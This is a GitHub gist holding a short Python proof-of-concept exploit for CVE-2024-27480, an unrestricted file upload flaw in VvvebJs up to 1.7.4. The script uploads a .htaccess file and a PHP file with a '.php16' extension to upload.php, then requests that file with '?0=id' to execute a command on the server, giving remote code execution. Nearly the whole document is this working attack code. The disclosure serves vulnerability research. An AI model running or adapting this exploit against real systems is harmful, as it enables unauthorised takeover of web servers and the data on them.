Skip to content

Instantly share code, notes, and snippets.

@joaoviictorti
Last active December 30, 2025 02:02
Show Gist options
  • Select an option

  • Save joaoviictorti/abb2d1929c29d09c13c60bb45f28a8ff to your computer and use it in GitHub Desktop.

Select an option

Save joaoviictorti/abb2d1929c29d09c13c60bb45f28a8ff to your computer and use it in GitHub Desktop.
CVE-2024-27480
# CVE-2024-27480
# The VvvebJs application is vulnerable to Unrestricted File Upload attacks, making it possible to send malicious files leading to remote code execution.
# Name Affected product: VvvebJs
# Version affected: <= 1.7.4
# Problem: Unrestricted File Upload
import requests
url = "http://localhost:8080"
file = {
"file": open(".htaccess", "rb")
}
resp = requests.post(url + "/upload.php", files=file)
file = {
"file": open("teste.php16", "rb")
}
resp = requests.post(url + "/upload.php", files=file)
resp = requests.get(url + "/teste.php16?0=id", files=file)
print(resp.text)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment